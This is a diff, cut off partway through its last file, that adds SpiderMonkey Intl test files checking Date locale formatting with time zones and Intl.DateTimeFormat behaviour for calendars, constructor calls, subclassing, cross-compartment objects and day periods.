diff --git a/js/src/tests/non262/Intl/Date/toLocaleString_timeZone.js b/js/src/tests/non262/Intl/Date/toLocaleString_timeZone.js
new file mode 100644
index 0000000000..592e55070c
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/toLocaleString_timeZone.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = {};
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12/6/2012, 12:00:00 PM",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "12/6/2012, 4:00:00 AM",
+ },
+ {
+ timeZone: "Europe/Berlin", locale: "de",
+ options: { timeZoneName: "short" },
+ result: "6.12.2012, 13:00:00 MEZ",
+ },
+ {
+ timeZone: "Europe/Paris", locale: "fr",
+ options: { timeZoneName: "long" },
+ result: "06/12/2012 13:00:00 heure normale d’Europe centrale",
+ },
+ {
+ timeZone: "Asia/Shanghai", locale: "zh-Hans-CN",
+ options: { timeZoneName: "long" },
+ result: "2012/12/6 中国标准时间 20:00:00",
+ },
+ {
+ timeZone: { toString: () => "Australia/Melbourne" }, locale: "en-AU",
+ result: "06/12/2012, 11:00:00 pm",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ let s = new Date(date).toLocaleString(locale, Object.assign({timeZone}, options));
+ assertEq(s, result);
+}
+
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let locale = defaultLocale;
+ let date = defaultDate;
+ let options = defaultOptions;
+
+ let absentTz = new Date(date).toLocaleString(locale, Object.assign({}, options));
+ let undefinedTz = new Date(date).toLocaleString(locale, Object.assign({timeZone: undefined}, options));
+ assertEq(undefinedTz, absentTz);
+}
+
+
+// RangeError is thrown for invalid time zone names.
+for (let timeZone of ["", "undefined", "UTC\0", "Vienna", "Africa", "America/NewYork"]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// RangeError is thrown for these values, because ToString(<value>)
+// isn't a valid time zone name.
+for (let timeZone of [null, 0, 0.5, true, false, [], {}, function() {}]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleString(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/Date/toLocaleTimeString_timeZone.js b/js/src/tests/non262/Intl/Date/toLocaleTimeString_timeZone.js
new file mode 100644
index 0000000000..a9b8b5f980
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/toLocaleTimeString_timeZone.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = {};
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12:00:00 PM",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "4:00:00 AM",
+ },
+ {
+ timeZone: "Europe/Berlin", locale: "de",
+ options: { timeZoneName: "short" },
+ result: "13:00:00 MEZ",
+ },
+ {
+ timeZone: "Europe/Paris", locale: "fr",
+ options: { timeZoneName: "long" },
+ result: "13:00:00 heure normale d’Europe centrale",
+ },
+ {
+ timeZone: "Asia/Shanghai", locale: "zh-Hans-CN",
+ options: { timeZoneName: "long" },
+ result: "中国标准时间 20:00:00",
+ },
+ {
+ timeZone: { toString: () => "Australia/Melbourne" }, locale: "en-AU",
+ result: "11:00:00 pm",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ let s = new Date(date).toLocaleTimeString(locale, Object.assign({timeZone}, options));
+ assertEq(s, result);
+}
+
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let locale = defaultLocale;
+ let date = defaultDate;
+ let options = defaultOptions;
+
+ let absentTz = new Date(date).toLocaleTimeString(locale, Object.assign({}, options));
+ let undefinedTz = new Date(date).toLocaleTimeString(locale, Object.assign({timeZone: undefined}, options));
+ assertEq(undefinedTz, absentTz);
+}
+
+
+// RangeError is thrown for invalid time zone names.
+for (let timeZone of ["", "undefined", "UTC\0", "Vienna", "Africa", "America/NewYork"]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleTimeString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// RangeError is thrown for these values, because ToString(<value>)
+// isn't a valid time zone name.
+for (let timeZone of [null, 0, 0.5, true, false, [], {}, function() {}]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleTimeString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleTimeString(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/browser.js b/js/src/tests/non262/Intl/DateTimeFormat/browser.js
new file mode 100644
index 0000000000..5665e7ed44
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/browser.js
@@ -0,0 +1,3 @@
+if (typeof setTimeZone === "undefined") {
+ var setTimeZone = SpecialPowers.Cu.getJSTestingFunctions().setTimeZone;
+}
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/calendar-aliases.js b/js/src/tests/non262/Intl/DateTimeFormat/calendar-aliases.js
new file mode 100644
index 0000000000..901adcb45f
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/calendar-aliases.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Ensure ethiopic-amete-alem is resolved to ethioaa instead of ethiopic.
+function testEthiopicAmeteAlem() {
+ var locale = "am-ET-u-nu-latn";
+ var opts = {timeZone: "Africa/Addis_Ababa"};
+ var dtfEthiopicAmeteAlem = new Intl.DateTimeFormat(`${locale}-ca-ethiopic-amete-alem`, opts);
+ var dtfEthioaa = new Intl.DateTimeFormat(`${locale}-ca-ethioaa`, opts);
+ var dtfEthiopic = new Intl.DateTimeFormat(`${locale}-ca-ethiopic`, opts);
+
+ var date = new Date(2016, 1 - 1, 1);
+
+ assertEq(dtfEthiopicAmeteAlem.format(date), dtfEthioaa.format(date));
+ assertEq(dtfEthiopicAmeteAlem.format(date) === dtfEthiopic.format(date), false);
+}
+
+// Ensure islamicc is resolved to islamic-civil.
+function testIslamicCivil() {
+ var locale = "ar-SA-u-nu-latn";
+ var opts = {timeZone: "Asia/Riyadh"};
+ var dtfIslamicCivil = new Intl.DateTimeFormat(`${locale}-ca-islamic-civil`, opts);
+ var dtfIslamicc = new Intl.DateTimeFormat(`${locale}-ca-islamicc`, opts);
+ var dtfIslamic = new Intl.DateTimeFormat(`${locale}-ca-islamic`, opts);
+
+ var date = new Date(2016, 1 - 1, 1);
+
+ assertEq(dtfIslamicCivil.format(date), dtfIslamicc.format(date));
+ assertEq(dtfIslamicCivil.format(date) === dtfIslamic.format(date), false);
+}
+
+testEthiopicAmeteAlem();
+testIslamicCivil();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/calendar-option.js b/js/src/tests/non262/Intl/DateTimeFormat/calendar-option.js
new file mode 100644
index 0000000000..cbf73df5c9
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/calendar-option.js
@@ -0,0 +1,67 @@
+const defaultLocale = "en";
+const defaultCalendar = new Intl.DateTimeFormat(defaultLocale).resolvedOptions().calendar;
+
+function createWithLocale(locale, calendar) {
+ return new Intl.DateTimeFormat(locale, {calendar});
+}
+
+function create(calendar) {
+ return createWithLocale(defaultLocale, calendar);
+}
+
+// Empty string should throw.
+assertThrowsInstanceOf(() => create(""), RangeError);
+
+// Trailing \0 should throw.
+assertThrowsInstanceOf(() => create("gregory\0"), RangeError);
+
+// Too short or too long strings should throw.
+assertThrowsInstanceOf(() => create("a"), RangeError);
+assertThrowsInstanceOf(() => create("toolongstring"), RangeError);
+
+// Throw even when prefix is valid.
+assertThrowsInstanceOf(() => create("gregory-toolongstring"), RangeError);
+
+// |calendar| can be set to |undefined|.
+let dtf = create(undefined);
+assertEq(dtf.resolvedOptions().calendar, defaultCalendar);
+
+// Unsupported calendars are ignored.
+dtf = create("xxxxxxxx");
+assertEq(dtf.resolvedOptions().calendar, defaultCalendar);
+
+// Calendars in options overwrite Unicode extension keyword.
+dtf = createWithLocale(`${defaultLocale}-u-ca-iso8601`, "japanese");
+assertEq(dtf.resolvedOptions().locale, defaultLocale);
+assertEq(dtf.resolvedOptions().calendar, "japanese");
+
+// |calendar| option ignores case.
+dtf = create("CHINESE");
+assertEq(dtf.resolvedOptions().locale, defaultLocale);
+assertEq(dtf.resolvedOptions().calendar, "chinese");
+
+const calendars = [
+ "buddhist", "chinese", "coptic", "dangi", "ethioaa", "ethiopic-amete-alem",
+ "ethiopic", "gregory", "hebrew", "indian", "islamic", "islamic-umalqura",
+ "islamic-tbla", "islamic-civil", "islamic-rgsa", "iso8601", "japanese",
+ "persian", "roc", "islamicc",
+];
+
+// https://github.com/tc39/proposal-intl-locale/issues/96
+const canonical = {
+ "islamicc": "islamic-civil",
+ "ethiopic-amete-alem": "ethioaa",
+};
+
+for (let calendar of calendars) {
+ let dtf1 = new Intl.DateTimeFormat(`${defaultLocale}-u-ca-${calendar}`);
+ let dtf2 = new Intl.DateTimeFormat(defaultLocale, {calendar});
+
+ assertEq(dtf1.resolvedOptions().calendar, canonical[calendar] ?? calendar);
+ assertEq(dtf2.resolvedOptions().calendar, canonical[calendar] ?? calendar);
+
+ assertEq(dtf2.format(0), dtf1.format(0));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/call.js b/js/src/tests/non262/Intl/DateTimeFormat/call.js
new file mode 100644
index 0000000000..752bda9c02
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/call.js
@@ -0,0 +1,184 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function IsPrimitive(o) {
+ return Object(o) !== o;
+}
+
+function thisValues() {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.map(ctor => {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Object inheriting from an Intl constructor prototype.
+ Object.create(ctor.prototype),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+ })),
+ ];
+}
+
+const intlFallbackSymbol = Object.getOwnPropertySymbols(Intl.DateTimeFormat.call(Object.create(Intl.DateTimeFormat.prototype)))[0];
+
+// Invoking [[Call]] for Intl.DateTimeFormat returns a new instance unless called
+// with an instance inheriting from Intl.DateTimeFormat.prototype.
+for (let thisValue of thisValues()) {
+ let obj = Intl.DateTimeFormat.call(thisValue);
+
+ if (!Intl.DateTimeFormat.prototype.isPrototypeOf(thisValue)) {
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.DateTimeFormat, true);
+ if (IsObject(thisValue))
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+ } else {
+ assertEq(Object.is(obj, thisValue), true);
+ assertEq(obj instanceof Intl.DateTimeFormat, true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+ }
+}
+
+// Intl.DateTimeFormat uses the legacy Intl constructor compromise semantics.
+// - Test when InstanceofOperator(thisValue, %DateTimeFormat%) returns true.
+for (let thisValue of thisValues().filter(IsObject)) {
+ let isPrototypeOf = Intl.DateTimeFormat.prototype.isPrototypeOf(thisValue);
+ let hasInstanceCalled = false;
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return true;
+ }, configurable: true
+ });
+ let obj = Intl.DateTimeFormat.call(thisValue);
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), isPrototypeOf);
+ assertEq(hasInstanceCalled, false);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), isPrototypeOf ? [intlFallbackSymbol] : []);
+}
+// - Test when InstanceofOperator(thisValue, %DateTimeFormat%) returns false.
+for (let thisValue of thisValues().filter(IsObject)) {
+ let isPrototypeOf = Intl.DateTimeFormat.prototype.isPrototypeOf(thisValue);
+ let hasInstanceCalled = false;
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return false;
+ }, configurable: true
+ });
+ let obj = Intl.DateTimeFormat.call(thisValue);
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), isPrototypeOf);
+ assertEq(obj instanceof Intl.DateTimeFormat, true);
+ assertEq(hasInstanceCalled, false);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), isPrototypeOf ? [intlFallbackSymbol] : []);
+}
+// - Test with primitive values.
+for (let thisValue of thisValues().filter(IsPrimitive)) {
+ // Ensure @@hasInstance is not called.
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() { assertEq(true, false); }, configurable: true
+ });
+ let obj = Intl.DateTimeFormat.call(thisValue);
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.DateTimeFormat, true);
+}
+
+// Throws an error when attempting to install [[FallbackSymbol]] twice.
+{
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+
+ assertEq(Intl.DateTimeFormat.call(thisValue), thisValue);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+
+ assertThrowsInstanceOf(() => Intl.DateTimeFormat.call(thisValue), TypeError);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+
+// Throws an error when the thisValue is non-extensible.
+{
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Object.preventExtensions(thisValue);
+
+ assertThrowsInstanceOf(() => Intl.DateTimeFormat.call(thisValue), TypeError);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+// [[FallbackSymbol]] is installed as a frozen property holding an Intl.DateTimeFormat instance.
+{
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Intl.DateTimeFormat.call(thisValue);
+
+ let desc = Object.getOwnPropertyDescriptor(thisValue, intlFallbackSymbol);
+ assertEq(desc !== undefined, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(desc.value instanceof Intl.DateTimeFormat, true);
+}
+
+// Ensure [[FallbackSymbol]] is installed last by changing the [[Prototype]]
+// during initialization.
+{
+ let thisValue = {};
+ let options = {
+ get hour12() {
+ Object.setPrototypeOf(thisValue, Intl.DateTimeFormat.prototype);
+ return false;
+ }
+ };
+ let obj = Intl.DateTimeFormat.call(thisValue, undefined, options);
+ assertEq(Object.is(obj, thisValue), true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+{
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ let options = {
+ get hour12() {
+ Object.setPrototypeOf(thisValue, Object.prototype);
+ return false;
+ }
+ };
+ let obj = Intl.DateTimeFormat.call(thisValue, undefined, options);
+ assertEq(Object.is(obj, thisValue), false);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/construct-newtarget.js b/js/src/tests/non262/Intl/DateTimeFormat/construct-newtarget.js
new file mode 100644
index 0000000000..bbc08c79a1
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/construct-newtarget.js
@@ -0,0 +1,81 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Test subclassing %Intl.DateTimeFormat% works correctly.
+class MyDateTimeFormat extends Intl.DateTimeFormat {}
+
+var obj = new MyDateTimeFormat();
+assertEq(obj instanceof MyDateTimeFormat, true);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyDateTimeFormat.prototype);
+
+obj = Reflect.construct(MyDateTimeFormat, []);
+assertEq(obj instanceof MyDateTimeFormat, true);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyDateTimeFormat.prototype);
+
+obj = Reflect.construct(MyDateTimeFormat, [], MyDateTimeFormat);
+assertEq(obj instanceof MyDateTimeFormat, true);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyDateTimeFormat.prototype);
+
+obj = Reflect.construct(MyDateTimeFormat, [], Intl.DateTimeFormat);
+assertEq(obj instanceof MyDateTimeFormat, false);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.DateTimeFormat.prototype);
+
+
+// Set a different constructor as NewTarget.
+obj = Reflect.construct(MyDateTimeFormat, [], Array);
+assertEq(obj instanceof MyDateTimeFormat, false);
+assertEq(obj instanceof Intl.DateTimeFormat, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+obj = Reflect.construct(Intl.DateTimeFormat, [], Array);
+assertEq(obj instanceof Intl.DateTimeFormat, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+
+// The prototype defaults to %DateTimeFormatPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+obj = Reflect.construct(Intl.DateTimeFormat, [], NewTargetNullPrototype);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.DateTimeFormat.prototype);
+
+obj = Reflect.construct(MyDateTimeFormat, [], NewTargetNullPrototype);
+assertEq(obj instanceof MyDateTimeFormat, false);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.DateTimeFormat.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(Intl.DateTimeFormat, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+obj = Reflect.construct(Intl.DateTimeFormat, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(obj instanceof Intl.DateTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.DateTimeFormat.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/cross-compartment.js b/js/src/tests/non262/Intl/DateTimeFormat/cross-compartment.js
new file mode 100644
index 0000000000..dac99bdc19
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/cross-compartment.js
@@ -0,0 +1,70 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var dateTimeFormat = new Intl.DateTimeFormat();
+var ccwDateTimeFormat = new otherGlobal.Intl.DateTimeFormat();
+
+// Test Intl.DateTimeFormat.prototype.format with a CCW object.
+var Intl_DateTimeFormat_format_get = Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, "format").get;
+
+assertEq(Intl_DateTimeFormat_format_get.call(ccwDateTimeFormat)(0),
+ Intl_DateTimeFormat_format_get.call(dateTimeFormat)(0));
+
+// Test Intl.DateTimeFormat.prototype.formatToParts with a CCW object.
+var Intl_DateTimeFormat_formatToParts = Intl.DateTimeFormat.prototype.formatToParts;
+
+assertEq(deepEqual(Intl_DateTimeFormat_formatToParts.call(ccwDateTimeFormat, 0),
+ Intl_DateTimeFormat_formatToParts.call(dateTimeFormat, 0)),
+ true);
+
+// Test Intl.DateTimeFormat.prototype.resolvedOptions with a CCW object.
+var Intl_DateTimeFormat_resolvedOptions = Intl.DateTimeFormat.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_DateTimeFormat_resolvedOptions.call(ccwDateTimeFormat),
+ Intl_DateTimeFormat_resolvedOptions.call(dateTimeFormat)),
+ true);
+
+// Special case for Intl.DateTimeFormat: The Intl fallback symbol.
+
+function fallbackSymbol(global) {
+ var DTF = global.Intl.DateTimeFormat;
+ return Object.getOwnPropertySymbols(DTF.call(Object.create(DTF.prototype)))[0];
+}
+
+const intlFallbackSymbol = fallbackSymbol(this);
+const otherIntlFallbackSymbol = fallbackSymbol(otherGlobal);
+assertEq(intlFallbackSymbol === otherIntlFallbackSymbol, false);
+
+// Test when the fallback symbol points to a CCW DateTimeFormat object.
+var objWithFallbackCCWDateTimeFormat = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: ccwDateTimeFormat,
+};
+
+assertEq(Intl_DateTimeFormat_format_get.call(objWithFallbackCCWDateTimeFormat)(0),
+ Intl_DateTimeFormat_format_get.call(dateTimeFormat)(0));
+
+assertEq(deepEqual(Intl_DateTimeFormat_resolvedOptions.call(objWithFallbackCCWDateTimeFormat),
+ Intl_DateTimeFormat_resolvedOptions.call(dateTimeFormat)),
+ true);
+
+// Ensure the fallback symbol(s) are not accessed for CCW DateTimeFormat objects.
+var ccwDateTimeFormatWithPoisonedFallback = new otherGlobal.Intl.DateTimeFormat();
+Object.setPrototypeOf(ccwDateTimeFormatWithPoisonedFallback, Intl.DateTimeFormat.prototype);
+Object.defineProperty(ccwDateTimeFormatWithPoisonedFallback, intlFallbackSymbol, {
+ get() { throw new Error(); }
+});
+Object.defineProperty(ccwDateTimeFormatWithPoisonedFallback, otherIntlFallbackSymbol, {
+ get() { throw new Error(); }
+});
+
+assertEq(Intl_DateTimeFormat_format_get.call(ccwDateTimeFormatWithPoisonedFallback)(0),
+ Intl_DateTimeFormat_format_get.call(dateTimeFormat)(0));
+
+assertEq(deepEqual(Intl_DateTimeFormat_resolvedOptions.call(ccwDateTimeFormatWithPoisonedFallback),
+ Intl_DateTimeFormat_resolvedOptions.call(dateTimeFormat)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/dateTimeStyle.js b/js/src/tests/non262/Intl/DateTimeFormat/dateTimeStyle.js
new file mode 100644
index 0000000000..1dd4c35316
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/dateTimeStyle.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Date style
+
+var dtf = new Intl.DateTimeFormat("en-US", {dateStyle: 'long'});
+assertEq(dtf.resolvedOptions().dateStyle, 'long');
+assertEq(dtf.resolvedOptions().hasOwnProperty('year'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('month'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('day'), false);
+
+// Time style
+
+var dtf = new Intl.DateTimeFormat("en-US", {timeStyle: 'long'});
+assertEq(dtf.resolvedOptions().timeStyle, 'long');
+assertEq(dtf.resolvedOptions().hasOwnProperty('hour'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('minute'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('second'), false);
+
+// Date/Time style
+
+var dtf = new Intl.DateTimeFormat("en-US", {dateStyle: 'medium', timeStyle: 'medium'});
+assertEq(dtf.resolvedOptions().timeStyle, 'medium');
+assertEq(dtf.resolvedOptions().dateStyle, 'medium');
+assertEq(dtf.resolvedOptions().hasOwnProperty('hour'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('minute'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('second'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('year'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('month'), false);
+assertEq(dtf.resolvedOptions().hasOwnProperty('day'), false);
+
+// Error when mixing date/timeStyle with other date-time options.
+
+assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat("en-US", {dateStyle: 'medium', year: 'numeric'});
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat("en-US", {timeStyle: 'medium', year: 'numeric'});
+}, TypeError);
+
+// Error when using dateStyle in toLocaleTimeString.
+
+assertThrowsInstanceOf(() => {
+ new Date().toLocaleTimeString("en-US", {dateStyle: 'long'});
+}, TypeError);
+
+// Error when using dateStyle in toLocaleDateString.
+
+assertThrowsInstanceOf(() => {
+ new Date().toLocaleDateString("en-US", {timeStyle: 'long'});
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/day-period-hour-cycle.js b/js/src/tests/non262/Intl/DateTimeFormat/day-period-hour-cycle.js
new file mode 100644
index 0000000000..6bfbf94df3
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/day-period-hour-cycle.js
@@ -0,0 +1,102 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Year, Month, Day, DayPeriod, Hour, Minute, Literal
+} = DateTimeFormatParts;
+
+// If the locale defaults to a 24-hour-cycle, the "dayPeriod" option is ignored if an "hour" option
+// is also present, unless the hour-cycle is manually set to a 12-hour-cycle.
+
+const tests = [
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", },
+ locales: {
+ en: [Hour("12"), Literal(" "), DayPeriod("noon")],
+ de: [Hour("12"), Literal(" Uhr")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hour12: true },
+ locales: {
+ en: [Hour("12"), Literal(" "), DayPeriod("noon")],
+ de: [Hour("12"), Literal(" "), DayPeriod("mittags")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hour12: false },
+ locales: {
+ en: [Hour("12")],
+ de: [Hour("12"), Literal(" Uhr")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hourCycle: "h12" },
+ locales: {
+ en: [Hour("12"), Literal(" "), DayPeriod("noon")],
+ de: [Hour("12"), Literal(" "), DayPeriod("mittags")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hourCycle: "h11" },
+ locales: {
+ en: [Hour("0"), Literal(" "), DayPeriod("noon")],
+ de: [Hour("0"), Literal(" "), DayPeriod("mittags")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hourCycle: "h23" },
+ locales: {
+ en: [Hour("12")],
+ de: [Hour("12"), Literal(" Uhr")],
+ },
+ },
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", hour: "numeric", hourCycle: "h24" },
+ locales: {
+ en: [Hour("12")],
+ de: [Hour("12"), Literal(" Uhr")],
+ },
+ },
+
+ // The default hour-cycle is irrelevant when an "hour" option isn't present.
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", day: "numeric", month: "numeric", year: "numeric" },
+ locales: {
+ en: [Month("1"), Literal("/"), Day("1"), Literal("/"), Year("2019"), Literal(", "), DayPeriod("noon")],
+ de: [Day("1"), Literal("."), Month("1"), Literal("."), Year("2019"), Literal(", "), DayPeriod("mittags")],
+ },
+ },
+
+ // ICU replacement pattern for missing <appendItem> entries in CLDR.
+ {
+ date: new Date("2019-01-01T12:00:00"),
+ options: { dayPeriod: "short", minute: "numeric" },
+ locales: {
+ en: [Minute("0"), Literal(" (AM/PM: "), DayPeriod("noon"), Literal(")")],
+ de: [Minute("0"), Literal(" (Tageshälfte: "), DayPeriod("mittags"), Literal(")")],
+ },
